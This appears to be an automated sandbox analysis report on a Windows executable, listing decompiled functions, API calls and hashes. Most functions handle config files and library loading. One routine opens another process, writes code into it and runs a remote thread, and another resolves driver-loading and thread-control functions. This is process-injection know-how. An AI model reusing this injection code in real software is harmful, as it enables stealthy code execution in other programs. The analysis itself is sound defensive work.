Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction ID: 684c615278f70e6dc9f1b796aa494e436c9634249af5aea594c4fe29f2bd0140
Opcode Fuzzy Hash: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction Fuzzy Hash: 51F0C031680209EFDF019FE5ED85B9A3BE9EB44705F008535F908E12A1D7758960EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402F31, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402F31(void* _a4) {
				void _v530;
				long _v532;
				void* __edi;
				wchar_t* _t15;
				intOrPtr _t18;
				short* _t19;
				void* _t22;
				void* _t29;

				_v532 = _v532 & 0x00000000;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_t15 = wcsrchr( &_v532, 0x2e);
				if(_t15 != 0) {
					 *_t15 =  *_t15 & 0x00000000;
				}
				wcscat( &_v532, L".cfg");
				_t18 =  *0x40fa74; // 0x4101c8
				_t19 = _t18 + 0x5504;
				_t36 =  *_t19;
				_pop(_t29);
				if( *_t19 != 0) {
					E00404923(0x104,  &_v532, _t19);
					_pop(_t29);
				}
				_t22 = E00402FC6(_t29, _t36,  &_v532); // executed
				return _t22;
			}

0x00402f3a
0x00402f51
0x00402f60
0x00402f6f
0x00402f78
0x00402f7a
0x00402f7a
0x00402f8a
0x00402f8f
0x00402f94
0x00402f99
0x00402f9e
0x00402f9f
0x00402fad
0x00402fb2
0x00402fb2
0x00402fbd
0x00402fc5

APIs

memset.MSVCRT ref: 00402F51

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 00402F6F
wcscat.MSVCRT ref: 00402F8A

Strings

.cfg, xrefs: 00402F84

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg
API String ID: 776488737-3410578098
Opcode ID: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction ID: 9e44addaa5645187fa8e636e844442f878cb26b9c6a589516f43c5b5973a5f2a
Opcode Fuzzy Hash: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction Fuzzy Hash: D501487254420C9ADB20E755DD8AFCA73BCEB54314F1008BBA514F61C1D7F8AAC48A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00409DDC, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00409DDC(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr _a16, WCHAR* _a20) {
				char _v16390;
				short _v16392;
				void* __edi;
				intOrPtr* _t30;
				intOrPtr* _t34;
				signed int _t36;
				signed int _t37;

				_t30 = __ecx;
				E0040B550(0x4004, __ecx);
				_push(0x4000);
				_push(0);
				_v16392 = 0;
				_t34 = _t30;
				_push( &_v16390);
				if(_a4 == 0) {
					memset();
					GetPrivateProfileStringW(_a8, _a12, 0x40c4e8,  &_v16392, 0x2000, _a20); // executed
					asm("sbb esi, esi");
					_t37 =  ~_t36;
					E004051B8( &_v16392, _t34, _a16);
				} else {
					memset();
					E0040512F(_a16,  *_t34,  &_v16392);
					_t37 = WritePrivateProfileStringW(_a8, _a12,  &_v16392, _a20);
				}
				return _t37;
			}

0x00409ddc
0x00409de4
0x00409df0
0x00409df5
0x00409df6
0x00409e03
0x00409e05
0x00409e06
0x00409e3b
0x00409e5d
0x00409e6a
0x00409e73
0x00409e75
0x00409e08
0x00409e08
0x00409e19
0x00409e37
0x00409e37
0x00409e81

APIs

memset.MSVCRT ref: 00409E08

Part of subcall function 0040512F: _snwprintf.MSVCRT ref: 00405174
Part of subcall function 0040512F: memcpy.MSVCRT ref: 00405184

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409E31
memset.MSVCRT ref: 00409E3B
GetPrivateProfileStringW.KERNEL32 ref: 00409E5D

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction ID: edc1d82326a177a4eed1c31c26edb3d60bf211bedf20f6070ddf32627235df0d
Opcode Fuzzy Hash: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction Fuzzy Hash: A9117071500119AFDF11AF64DD06E9E7BA9EF04704F1000BAFB05B6191E7319E608BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404951, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404951(signed int* __eax, void* __edx, void** __edi, signed int _a4, char _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						_t1 =  &_a8; // 0x4057e1
						 *__eax =  *__eax +  *_t1;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13); // executed
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

0x00404951
0x00404952
0x00404956
0x004049a1
0x00404958
0x00404959
0x0040495b
0x0040495b
0x0040495f
0x00404961
0x00404963
0x0040496d
0x00404975
0x00404977
0x0040497b
0x00404985
0x0040498a
0x0040498e
0x00404993
0x0040499d
0x0040499d

APIs

malloc.MSVCRT ref: 0040496D
memcpy.MSVCRT ref: 00404985
free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

Strings

W@, xrefs: 0040495B

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: freemallocmemcpy
String ID: W@
API String ID: 3056473165-1729568415
Opcode ID: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction ID: 6576f77cd119d718dc8f29c334e0549a7190cc93a29033006f08a56aa9c3ab10
Opcode Fuzzy Hash: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction Fuzzy Hash: 09F054B26092229FC708AA79B98585BB79DEF84364711487EF514E72D1D7389C40C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 31
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(wchar_t* _a4) {
				void _v2050;
				signed short _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t18;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				E00404C3C( &_v2052);
				_t18 =  &_v2052;
				E004047AF(_t18);
				wcscat(_t18, _a4);
				_t16 = LoadLibraryW(_t18); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}

0x0040543f
0x00405456
0x00405462
0x00405467
0x0040546d
0x00405478
0x00405489
0x0040548d
0x00000000
0x00405492
0x00405496

APIs

memset.MSVCRT ref: 00405456

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

Part of subcall function 004047AF: wcslen.MSVCRT ref: 004047B0
Part of subcall function 004047AF: wcscat.MSVCRT ref: 004047C8

wcscat.MSVCRT ref: 00405478
LoadLibraryW.KERNELBASE(00000000), ref: 00405489
LoadLibraryW.KERNEL32(?), ref: 00405492

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadwcscat$DirectorySystemmemsetwcscpywcslen
String ID:
API String ID: 3725422290-0
Opcode ID: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction ID: bb87c58107a7235a9df1b9b02ada5b91fca9717c482d10a691b94706fbe65826
Opcode Fuzzy Hash: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction Fuzzy Hash: EBF03771D40229A6DF20B7A5CC06B8A7A6CFF40758F0044B6B94CB7191DB7CEA558FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00409E82, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32 ref: 00409EA9

Part of subcall function 00409D12: memset.MSVCRT ref: 00409D31
Part of subcall function 00409D12: _itow.MSVCRT ref: 00409D48
Part of subcall function 00409D12: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00409D57

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction ID: 9cbd54488ddde29c65bb9f464d3594e5c231a9cc3fc51dd6b87f783e4d357368
Opcode Fuzzy Hash: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction Fuzzy Hash: CDE0B632000209FFDF125F80EC01AAA3B66FF14315F648569F95814171D33799B0EF88

Uniqueness

Uniqueness Score: -1.00%

Function 00408F48, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408F48(void* __ecx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* _t8;
				void* _t13;

				_v8 = _v8 & 0x00000000;
				_t8 = E00408FC9( &_v8, __eflags, _a4); // executed
				_t13 = _t8;
				if(_v8 != 0) {
					FreeLibrary(_v8);
				}
				return _t13;
			}

0x00408f4c
0x00408f57
0x00408f60
0x00408f62
0x00408f67
0x00408f67
0x00408f71

APIs

Part of subcall function 00408FC9: GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8
Part of subcall function 00408FC9: GetLastError.KERNEL32(00000000), ref: 00408FEA

FreeLibrary.KERNEL32(00000000,?,?,?,?,004085BD,SeDebugPrivilege,00000000,?,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408F67

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentErrorFreeLastLibraryProcess
String ID:
API String ID: 187924719-0
Opcode ID: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction ID: 8dfc096080dba386992b60ff887e92109f2b64d1c6b3d0c2bddabb0c4d0164ae
Opcode Fuzzy Hash: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction Fuzzy Hash: D6D01231511119FBDF109B91CE06BCDBB79DB00399F104179E400B2190D7759F04E694

Uniqueness

Uniqueness Score: -1.00%

Function 004098F9, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004098F9(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr* _t6;
				void* _t8;
				struct HINSTANCE__** _t10;

				_t10 = __eax;
				E00409921(__eax);
				_t6 =  *((intOrPtr*)(_t10 + 0x10));
				if(_t6 == 0) {
					return 0;
				}
				_t8 =  *_t6(_a4, 0, _a8, 0x104); // executed
				return _t8;
			}

0x004098fa
0x004098fc
0x00409901
0x00409907
0x00000000
0x0040991c
0x00409918
0x00000000

APIs

Part of subcall function 00409921: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004096DF,00000104,004096DF,00000000,?), ref: 00409918

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$FileModuleName
String ID:
API String ID: 3859505661-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 0481de772a0e6c3324847b7c7a0c8cc4c6a15655966ff13cfb2205d1ba48b523
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 26D0A9B22183006BD620AAB08C00B4BA2D47B80710F008C2EB590E22D2D274CD105208

Uniqueness

Uniqueness Score: -1.00%

Function 004095DA, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004095DA(signed int* __edi) {
				void* __esi;
				struct HINSTANCE__* _t3;
				signed int* _t7;

				_t7 = __edi;
				_t3 =  *__edi;
				if(_t3 != 0) {
					FreeLibrary(_t3); // executed
					 *__edi =  *__edi & 0x00000000;
				}
				E004099D4( &(_t7[0xa]));
				return E004099D4( &(_t7[6]));
			}

0x004095da
0x004095da
0x004095de
0x004095e1
0x004095e7
0x004095e7
0x004095ee
0x004095fc

APIs

FreeLibrary.KERNELBASE(00000000,00401DF2,?,00000000,?,?,00000000), ref: 004095E1

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction ID: 13308881ed9fba3be053afa591bd741d52050d54eca683c3f8d57f3833d878b6
Opcode Fuzzy Hash: 3a8c82b58b4536e75bc69a87746d6aa363a9327662929a541f6021599fdffafa
Instruction Fuzzy Hash: 5DD0C973401113EBDB01BB26EC856957368BF00315B15012AA801B35E2C738BDA6CAD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3C1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A3C1(struct HINSTANCE__* _a4, WCHAR* _a8) {

				EnumResourceNamesW(_a4, _a8, E0040A33B, 0); // executed
				return 1;
			}

0x0040a3d0
0x0040a3d9

APIs

EnumResourceNamesW.KERNELBASE(?,?,0040A33B,00000000), ref: 0040A3D0

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction ID: 553cc51789f51932b097ae14593f850e519bfff9ece1921d1baa913e09089cf7
Opcode Fuzzy Hash: 4e80c9868bdfa7667331217c7ed8963edd970179f9d5bbd233f5df82d78e7ab4
Instruction Fuzzy Hash: 17C09B3215C341D7D7019F208C15F1EF695BB59701F104C39B191A40E0C77140349A05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408E31, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E31() {
				void* _t1;
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t14;

				if( *0x41c4ac == 0) {
					_t2 = GetModuleHandleW(L"ntdll.dll");
					 *0x41c4ac = _t2;
					 *0x41c47c = GetProcAddress(_t2, "NtQuerySystemInformation");
					 *0x41c480 = GetProcAddress( *0x41c4ac, "NtLoadDriver");
					 *0x41c484 = GetProcAddress( *0x41c4ac, "NtUnloadDriver");
					 *0x41c488 = GetProcAddress( *0x41c4ac, "NtOpenSymbolicLinkObject");
					 *0x41c48c = GetProcAddress( *0x41c4ac, "NtQuerySymbolicLinkObject");
					 *0x41c490 = GetProcAddress( *0x41c4ac, "NtQueryObject");
					 *0x41c494 = GetProcAddress( *0x41c4ac, "NtOpenThread");
					 *0x41c498 = GetProcAddress( *0x41c4ac, "NtClose");
					 *0x41c49c = GetProcAddress( *0x41c4ac, "NtQueryInformationThread");
					 *0x41c4a0 = GetProcAddress( *0x41c4ac, "NtSuspendThread");
					 *0x41c4a4 = GetProcAddress( *0x41c4ac, "NtResumeThread");
					_t14 = GetProcAddress( *0x41c4ac, "NtTerminateThread");
					 *0x41c4a8 = _t14;
					return _t14;
				}
				return _t1;
			}

0x00408e38
0x00408e44
0x00408e56
0x00408e68
0x00408e7a
0x00408e8c
0x00408e9e
0x00408eb0
0x00408ec2
0x00408ed4
0x00408ee6
0x00408ef8
0x00408f0a
0x00408f1c
0x00408f21
0x00408f23
0x00000000
0x00408f28
0x00408f29

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

Strings

NtQueryInformationThread, xrefs: 00408EDB
NtClose, xrefs: 00408EC9
NtQuerySystemInformation, xrefs: 00408E50
NtTerminateThread, xrefs: 00408F11
NtSuspendThread, xrefs: 00408EED
ntdll.dll, xrefs: 00408E3F
NtQuerySymbolicLinkObject, xrefs: 00408E93
NtUnloadDriver, xrefs: 00408E6F
NtOpenThread, xrefs: 00408EB7
NtLoadDriver, xrefs: 00408E5D
NtQueryObject, xrefs: 00408EA5
NtResumeThread, xrefs: 00408EFF
NtOpenSymbolicLinkObject, xrefs: 00408E81

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: NtClose$NtLoadDriver$NtOpenSymbolicLinkObject$NtOpenThread$NtQueryInformationThread$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeThread$NtSuspendThread$NtTerminateThread$NtUnloadDriver$ntdll.dll
API String ID: 667068680-4280973841
Opcode ID: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction ID: 9046f7da5280d7be643cb990a4133c03c86fae9b85e8e19c009a309f84c5646f
Opcode Fuzzy Hash: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction Fuzzy Hash: 6611AD74DC8315EECB516FB1BCE9AA67E61EB08760710C437A809632B1D77A8018DF4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A46C, Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 208
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040A46C(void* __ecx, void* __eflags, void* _a4, void* _a8, void* _a12, void* _a16, intOrPtr _a20, char _a24, void* _a28, intOrPtr _a32) {
				char _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				char _v564;
				char _v16950;
				char _v33336;
				_Unknown_base(*)()* _v33348;
				_Unknown_base(*)()* _v33352;
				void _v33420;
				void _v33432;
				void _v33436;
				intOrPtr _v66756;
				intOrPtr _v66760;
				void _v66848;
				void _v66852;
				void* __edi;
				void* _t76;
				_Unknown_base(*)()* _t84;
				_Unknown_base(*)()* _t87;
				void* _t90;
				signed int _t126;
				struct HINSTANCE__* _t128;
				intOrPtr* _t138;
				void* _t140;
				void* _t144;
				void* _t147;
				void* _t148;

				E0040B550(0x10524, __ecx);
				_t138 = _a4;
				_v12 = 0;
				 *_t138 = 0;
				_t76 = OpenProcess(0x1f0fff, 0, _a8);
				_a8 = _t76;
				if(_t76 == 0) {
					 *_t138 = GetLastError();
					L30:
					return _v12;
				}
				_v33436 = 0;
				memset( &_v33432, 0, 0x8284);
				_t148 = _t147 + 0xc;
				_t128 = GetModuleHandleW(L"kernel32.dll");
				_v8 = 0;
				E00409C70( &_v8);
				_push("CreateProcessW");
				_push(_t128);
				if(_v8 == 0) {
					_t84 = GetProcAddress();
				} else {
					_t84 = _v8();
				}
				_v33352 = _t84;
				E00409C70( &_v8);
				_push("GetLastError");
				_push(_t128);
				if(_v8 == 0) {
					_t87 = GetProcAddress();
				} else {
					_t87 = _v8();
				}
				_t140 = _a28;
				_v33348 = _t87;
				if(_t140 != 0) {
					_t126 = 0x11;
					memcpy( &_v33420, _t140, _t126 << 2);
					_t148 = _t148 + 0xc;
				}
				_v33420 = 0x44;
				if(_a16 == 0) {
					_v33336 = 1;
				} else {
					E00404923(0x2000,  &_v33336, _a16);
				}
				if(_a12 == 0) {
					_v16950 = 1;
				} else {
					E00404923(0x2000,  &_v16950, _a12);
				}
				if(_a24 == 0) {
					_v564 = 1;
				} else {
					E00404923(0x104,  &_v564, _a24);
				}
				_v24 = _a20;
				_v28 = 0;
				_a16 = VirtualAllocEx(_a8, 0, 0x8288, 0x1000, 4);
				_t90 = VirtualAllocEx(_a8, 0, 0x800, 0x1000, 0x40);
				_a12 = _t90;
				if(_a16 == 0 || _t90 == 0) {
					 *_a4 = GetLastError();
				} else {
					WriteProcessMemory(_a8, _t90, E0040A3DC, 0x800, 0);
					WriteProcessMemory(_a8, _a16,  &_v33436, 0x8288, 0);
					_v20 = 0;
					_v16 = 0;
					_a24 = 0;
					_t144 = E0040A272( &_v20, _a8, _a12, _a16,  &_a24);
					_a28 = _t144;
					if(_t144 == 0) {
						 *_a4 = GetLastError();
					} else {
						ResumeThread(_t144);
						WaitForSingleObject(_t144, 0x7d0);
						CloseHandle(_t144);
					}
					_v66852 = 0;
					memset( &_v66848, 0, 0x8284);
					ReadProcessMemory(_a8, _a16,  &_v66852, 0x8288, 0);
					VirtualFreeEx(_a8, _a16, 0, 0x8000);
					VirtualFreeEx(_a8, _a12, 0, 0x8000);
					if(_a28 != 0) {
						 *_a4 = _v66756;
						_v12 = _v66760;
						if(_a32 != 0) {
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
						}
					}
					if(_v20 != 0) {
						FreeLibrary(_v20);
					}
				}
				goto L30;
			}

0x0040a474
0x0040a47b
0x0040a48a
0x0040a48d
0x0040a48f
0x0040a497
0x0040a49a
0x0040a6f7
0x0040a6f9
0x0040a700
0x0040a700
0x0040a4ad
0x0040a4b3
0x0040a4b8
0x0040a4c6
0x0040a4cc
0x0040a4cf
0x0040a4dd
0x0040a4e2
0x0040a4e3
0x0040a4ea
0x0040a4e5
0x0040a4e5
0x0040a4e5
0x0040a4ec
0x0040a4f6
0x0040a4fe
0x0040a503
0x0040a504
0x0040a50b
0x0040a506
0x0040a506
0x0040a506
0x0040a50d
0x0040a512
0x0040a518
0x0040a51c
0x0040a523
0x0040a523
0x0040a523
0x0040a528
0x0040a537
0x0040a54c
0x0040a539
0x0040a544
0x0040a549
0x0040a558
0x0040a56d
0x0040a55a
0x0040a565
0x0040a56a
0x0040a579
0x0040a591
0x0040a57b
0x0040a589
0x0040a58e
0x0040a5b4
0x0040a5b7
0x0040a5cc
0x0040a5cf
0x0040a5d4
0x0040a5d7
0x0040a6ed
0x0040a5e5
0x0040a5fa
0x0040a60b
0x0040a61a
0x0040a620
0x0040a623
0x0040a62b
0x0040a62f
0x0040a632
0x0040a659
0x0040a634
0x0040a635
0x0040a641
0x0040a648
0x0040a648
0x0040a668
0x0040a66e
0x0040a685
0x0040a69e
0x0040a6a8
0x0040a6ad
0x0040a6bd
0x0040a6c5
0x0040a6c8
0x0040a6d0
0x0040a6d1
0x0040a6d2
0x0040a6d3
0x0040a6d3
0x0040a6c8
0x0040a6d7
0x0040a6dc
0x0040a6dc
0x0040a6d7
0x00000000

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,00000000,?,00402225,?,00000000,?,?,?,?,?,?), ref: 0040A48F
memset.MSVCRT ref: 0040A4B3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00000000), ref: 0040A4C0

Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CE4
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CF1

GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 0040A4EA
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040A50B
VirtualAllocEx.KERNEL32(?,00000000,00008288,00001000,00000004), ref: 0040A5BA
